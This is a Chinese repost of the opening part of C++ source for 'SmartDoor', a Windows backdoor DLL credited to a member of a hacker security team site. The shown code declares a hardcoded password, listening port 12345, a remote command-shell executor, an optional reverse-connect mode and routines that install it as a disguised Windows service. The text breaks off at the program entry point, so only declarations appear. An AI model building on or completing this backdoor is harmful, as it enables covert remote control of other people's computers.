文章作者:dream2fly信息来源:邪恶八进制信息安全团队(www.eviloctal.com) // SmartDoor.cpp : 定义 DLL 应用程序的入口点。//http://www.dream2fly.net///源码公布说明:从网络中来到网络中去,QQ:78623269定制^_^#include "stdafx.h"#include "SDdllw.h"#include <stdio.h>#include <stdlib.h>#include <tchar.h>#include <string>using namespace::std;#include <Shellapi.h>#include <winsock2.h> #include <urlmon.h>#pragma comment (lib,"ws2_32") #pragma comment (lib, "urlmon.lib")void LogToFile(const char * , int nErrNo = 0) ; //日志记录 #define MAXLINK 5 //客户端连接最大数目#define PASSWORD "dream2fly" //连接密码 u_short g_nPort = 12345; //定义监听端口 //#define _REVERSE 1#define BUFLEN 65535 bool Passport(SOCKET *csock);void ConnectClient();void ShellServer();//命令行执行函数 DWORD WINAPI ExeCmdShell(LPVOID lp);#define SERVICENAME "Remote Command Server"#define SERVICEDISPLAYNAME SERVICENAMESC_HANDLE scm,svc;SERVICE_STATUS ServiceStatus; SERVICE_STATUS_HANDLE ServiceStatusHandle; DWORD IsService( BOOL& );int InitService();void InstallService();int DeleteSvc();void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv);void WINAPI ServiceCtrlHandler(DWORD dwControl);#ifdef _MYEXE//程序入口 int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)#endif 相关文章: 2022-02-25 2021-12-05 2021-11-23 2021-07-30 2022-12-23 2021-09-29 2022-12-23 2022-12-23